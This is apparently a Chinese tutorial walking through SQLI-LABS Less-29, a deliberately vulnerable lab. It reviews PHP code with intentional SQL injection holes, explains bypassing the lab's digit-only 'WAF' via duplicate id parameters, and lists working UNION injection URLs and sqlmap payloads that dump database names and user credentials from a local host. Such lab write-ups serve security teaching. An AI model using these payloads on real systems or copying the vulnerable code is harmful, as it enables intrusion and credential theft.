目录
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第29关Less 29可以绕过WAF的GET字符型SQL注入关卡进行渗透实战。
一、源码分析
本关卡Less29是基于GET字符型的SQL注入关卡,如下所示。
1、index.php代码审计
Less29关卡index.php功能是简单基于id的查询页面,详细注释后的代码如下所示。
<?php
// 包含MySQL连接参数文件(注意:使用已废弃的mysql_*函数)
include("../sql-connections/sql-connect.php");
// 禁用错误报告(防止敏感信息泄露,但不完全可靠)
error_reporting(0);
// 处理用户通过GET方法传入的id参数
if (isset($_GET['id'])) {
// 获取用户输入的id值
$id = $_GET['id'];
// 记录用户输入到日志文件(用于安全审计或分析)
$fp = fopen('result.txt', 'a');
fwrite($fp, 'ID:' . $id . "\n");
fclose($fp);
// 获取完整的查询字符串(用于提示信息)
$qs = $_SERVER['QUERY_STRING'];
$hint = $qs;
// 构建SQL查询(直接拼接用户输入,存在严重SQL注入风险)
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 执行SQL查询(使用不安全的mysql_query函数)
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
// 根据查询结果输出信息
if ($row) {
// 成功查询到记录,显示用户名和密码
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:' . $row['username'];
echo "<br>";
echo 'Your Password:' . $row['password'];
echo "</font>";
} else {
// 查询失败,显示数据库错误信息(可能泄露敏感信息)
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
} else {
// 未提供id参数时的提示
echo "Please input the ID as parameter with numeric value";
}
?>
本关卡 PHP 代码实现了一个简单的用户信息查询页面,但由于未对GET方法传入参数id进行过滤,存在严重的SQL安全隐患,本关卡核心功能如下:
- 参数接收:通过 GET 方法获取用户传入的
id
参数,未经过滤直接拼接到SQL语句中。 - 日志记录:将用户输入的
id
记录到result.txt
文件,用于分析。 - 数据库查询:使用
mysql_query
函数执行 SQL 查询,尝试从users
表中获取对应id
的用户记录。 - 结果展示:如果查询成功,显示用户名和密码;如果失败,显示数据库错误信息。
- 提示信息:页面下方显示完整的查询字符串,可能用于帮助用户调试或开发者分析。
2、login.php代码审计
Less29关卡login.php功能是简单基于id的查询页面,详细注释后的代码如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-29 Protection with WAF</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">
Welcome
<font color="#FF0000">Dhakkan</font><br>
<font size="3" color="#FFFF00">
<?php
// ------------------------- 数据库连接与配置 -------------------------
// 引入数据库连接参数(包含用户名、密码、数据库名等敏感信息)
include("../sql-connections/sql-connect.php");
// 禁用PHP错误报告
error_reporting(0);
// ------------------------- 用户输入处理 -------------------------
// 检查是否存在GET参数'id'
if (isset($_GET['id'])) {
// 获取原始查询字符串(如?id=1&test=2)
$qs = $_SERVER['QUERY_STRING'];
// 用于后续显示提示信息
$hint = $qs;
// 模拟Java应用处理HTTP参数污染(HPP)的逻辑
$id1 = java_implimentation($qs);
// 直接获取用户输入的'id'参数(未过滤)
$id = $_GET['id'];
// ------------------------- 安全防护逻辑 -------------------------
// 调用白名单过滤函数(仅允许纯数字输入)
whitelist($id1);
// ------------------------- 日志记录 -------------------------
// 打开日志文件(追加模式)
$fp = fopen('result.txt', 'a');
// 记录用户输入的ID参数(可能包含攻击载荷)
fwrite($fp, 'ID:' . $id . "\n");
// 关闭文件句柄
fclose($fp);
// ------------------------- 数据库查询 -------------------------
// 构造SQL查询语句(直接拼接用户输入,存在SQL注入风险)
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 执行SQL查询(使用不安全的mysql_*函数,已废弃)
$result = mysql_query($sql);
// 获取查询结果
$row = mysql_fetch_array($result);
// ------------------------- 结果输出 -------------------------
if ($row) {
// 成功查询时显示用户信息
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:' . $row['username'];
echo "<br>";
echo 'Your Password:' . $row['password'];
echo "</font>";
} else {
// 失败时显示MySQL错误信息(可能泄露数据库结构)
echo '<font color= "#FFFF00">';
print_r(mysql_error()); // 危险:暴露数据库错误细节
echo "</font>";
}
} else {
// 提示用户输入ID参数
echo "Please input the ID as parameter with numeric value";
}
// ------------------------- 安全防护函数定义 -------------------------
/**
* 白名单过滤函数:仅允许纯数字输入
* @param string $input 用户输入参数
*/
function whitelist($input) {
// 使用正则表达式验证输入是否为纯数字
$match = preg_match("/^\d+$/", $input);
if ($match) {
// 验证通过,不做处理
// echo "you are good";
// return $match;
} else {
// 验证失败,重定向到伪造的攻击成功页面
header('Location: hacked.php');
// echo "you are bad";
}
}
// ------------------------- HPP模拟函数 -------------------------
/**
* 模拟Java应用处理HTTP参数污染的逻辑(仅提取第一个id参数)
* @param string $query_string 原始查询字符串
* @return string 提取的id参数值(存在HPP绕过风险)
*/
function java_implimentation($query_string) {
$q_s = $query_string;
// 按'&'分割参数对
$qs_array = explode("&", $q_s);
foreach ($qs_array as $key => $value) {
// 检查参数是否以'id='开头
$val = substr($value, 0, 2);
if ($val == "id") {
// 提取id参数值(跳过前3个字符:id=)
$id_value = substr($value, 3, 30);
return $id_value; // 仅返回第一个匹配的id参数,忽略后续参数
echo "<br>";
break;
}
}
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-29.jpg" />
</br>
</br>
</br>
<img src="../images/Less-29-1.jpg" />
</br>
</br>
<font size='4' color= "#33FFFF">
<?php
// 显示用户输入的原始查询字符串(用于测试提示)
echo "Hint: The Query String you input is: " . $hint;
?>
<br>
<br>
Reference:
<br>
<!-- 安全参考文档链接(可能指向失效资源) -->
<a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">AppsecEU09_CarettoniDiPaola_v0.8.pdf</a><br>
<a href="https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf">Protocol-Level Evasion of Web Application Firewalls v1.1</a>
</font>
</center>
</body>
</html>
该代码是一个带有 WAF 防护的 Web 应用。核心功能包括:
- 用户输入处理:通过
$_GET['id']
获取参数,使用单号包裹id,。 - 对第一个id参数进行过滤处理:
whitelist
函数对参数id使用正则表达式验证输入是否为纯数字,阻止非数字攻击载荷。java_implimentation
模拟 Java 应用对 HTTP 参数污染的处理逻辑,仅提取第一个id
参数值进行验证。
- 数据库操作:将用户输入id拼接至 SQL 语句,
- 如果仅有一个参数id,通过函数过滤后使用SQL语句查询数据库用户信息
- 如果存在第二个参数id的话则是没有任何过滤直接拼接到SQL语句中。
- 日志记录:将用户输入的
id
参数记录到result.txt
,用于分析。 - 结果反馈:成功查询时显示用户名和密码,失败时暴露数据库错误信息(如
mysql_error()
)
3、java_implimentation函数
java_implimentation函数的核心目的是模拟 Java 应用处理 HTTP 参数污染 (HPP) 的行为差异。PHP 默认会将重复参数名的值合并为数组,而 Java Servlet 容器通常只处理第一个出现的参数。该函数通过以下步骤提取处理后的参数。
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array = explode("&", $q_s); // 按&分割参数字符串
foreach($qs_array as $key => $value)
{
$val = substr($value, 0, 2); // 检查参数名前两位
if($val == "id")
{
$id_value = substr($value, 3, 30); // 提取等号后的值
return $id_value; // 仅返回第一个匹配的id参数值
break;
}
}
}
java_implimentation函数的设计初衷是模拟 Java 应用处理 HTTP 参数污染(HPP)的行为差异,其核心逻辑是从原始查询字符串中提取第一个出现的id参数值,并忽略后续同名参数。函数通过将查询字符串按&分割为参数数组,遍历查找首个以id=开头的参数,提取其值(跳过id=部分)并返回。然而,这一实现存在严重安全风险:它仅验证第一个id参数是否为纯数字(通过白名单),但 SQL 查询却使用原始的、未过滤的id参数,导致攻击者可通过提交多个id参数(如id=1&id=1' OR 1=1 --)绕过验证机制,实现 SQL 注入攻击。这种验证与使用分离的设计缺陷,使得函数非但未能增强安全性,反而成为SQL注入攻击的触发点。
4、whitelist函数
whitelist()
函数使用正则表达式验证输入是否为纯数字,具体处理如下所示。
function whitelist($input) {
$match = preg_match("/^\d+$/", $input);
if ($match) {
// 验证通过,不做处理
} else {
header('Location: hacked.php');
}
}
- 功能:实现白名单机制,仅允许纯数字输入,意图阻止非数字类型的 SQL 注入攻击。
- 参数:
$input
为待验证的用户输入(来自java_implimentation
函数提取的第一个id
参数值) - 正则表达式:核心函数$match = preg_match("/^\d+$/", $input),要求输入完全由数字组成,不允许包含任何非数字字符(如字母、符号、空格等)
^
:匹配输入字符串的开始位置。\d+
:匹配一个或多个数字(等价于[0-9]+
)。$
:匹配输入字符串的结束位置。
条件判断与响应:
- 验证通过(
$match
为1
):
不执行任何操作,允许程序继续执行数据库查询。 - 验证失败(
$match
为0
):
通过header('Location: hacked.php')
重定向到hacked.php
页面,模拟 “攻击检测成功” 的响应。
- 验证通过(
安全风险原因:
- 函数仅验证第一个
id
参数(由java_implimentation
函数提取),但未处理其他id参数。 - SQL 查询使用的是原始
$_GET['id']
参数(包含所有提交的id
参数),而非验证通过的$id1
。
- 函数仅验证第一个
绕过原理:通过提交多个
id
参数,使第一个参数为纯数字(通过验证),第二个参数包含恶意载荷:
验证阶段:// 示例 payload id=1&id=1' OR 1=1 --+
java_implimentation
提取第一个参数id=1
,whitelist
验证通过(因为第一关参数1
为纯数字)。- 查询阶段:
$_GET['id']
为第二个id参数1' OR 1=1 --+
,被直接拼入 SQL 语句,触发SQL注入。
5、SQL安全性分析
尽管代码尝试通过白名单过滤数字输入,但存在以下致命缺陷:
- java_implimentation绕过防护:java_implimentation()仅验证第一个
id
参数,攻击者可通过提交多个id
参数(如id=1&id=1' OR 1=1 --
),使第一个参数通过验证,第二个参数传入到SQL语句触发 SQL 注入风险。 - 未处理 SQL 拼接:第二个参数变量
$id
直接拼入 SQL 语句,未使用预处理语句或转义函数,直接执行SELECT * FROM users WHERE id='$id' LIMIT 0,1导致恶意 payload 可破坏 SQL 语法结构。 - 错误信息泄露:
mysql_error()
直接输出数据库错误,可能泄露表名、字段名等敏感信息,辅助攻击者构造攻击载荷。
二、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第29关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less29关卡,进入到靶场的第28a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-28
访问29关卡的login.php,URL与访问页面如下所示。
访问29关卡的hacked.php,URL如下所示。
http://192.168.59.1/sqli-labs/Less-29/hacked.php
根据源码分析我们得知,仅当访问login.php且第一个id非数字时会进入如下页面。
2、WAF探测
(1)触发WAF
访问login.php,第一个参数设置为纯数字1单引号,因为第一关id不是纯数字触发了防火墙的防护,被重定向到hacked.php,效果如下所示。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1'
(2)绕过WAF
访问login.php,第一个参数设置为纯数字1,第二个参数id设置为1'--+,效果如下所示绕过了防火墙的防护,当前页面显示查询成功,显示id=1的用户名和密码,没有重定向到hacked.php。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1'--+
3、手工注入
(1)获取列数
如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1' ORDER BY 4--+
(2)获取回显位
如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,2,3--+
(3)获取数据库名
如下所示,数据库的名称为“security”。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,DATABASE(),3--+
(4)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+
(5)获取列名
如下所示,数据库users表的列名分别为id,username,password。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+
(6)获取数据
最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+
4、渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1*" --current-db --batch --dump
特别注意,本次渗透并没有选择index.php?id=1的网址,否则本关卡与第1关没有任何区别了,本关卡选择login.php后面跟着两个参数id,其中第一个参数id=1用于绕过Waf,第二个参数id=1*则是指定注入点。执行注入命令后,sqlmap渗透成功,可以通过联合注入法、报错法、时间盲注方法渗透成功,具体信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=1' AND 4219=4219 AND 'qZrP'='qZrP
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=1' AND GTID_SUBSET(CONCAT(0x7162787071,(SELECT (ELT(1927=1927,1))),0x716a716b71),1927) AND 'gCws'='gCws
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=1' AND (SELECT 7918 FROM (SELECT(SLEEP(5)))NhCl) AND 'JOHj'='JOHj
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=-2783' UNION ALL SELECT NULL,NULL,CONCAT(0x7162787071,0x67466e646946457067577644774c626b554a6a74767a6a594c694d475a724c53544c48556d6e6877,0x716a716b71)-- -
---
[22:53:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[22:53:08] [INFO] fetching current database
current database: 'security'
Database: security
Table: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+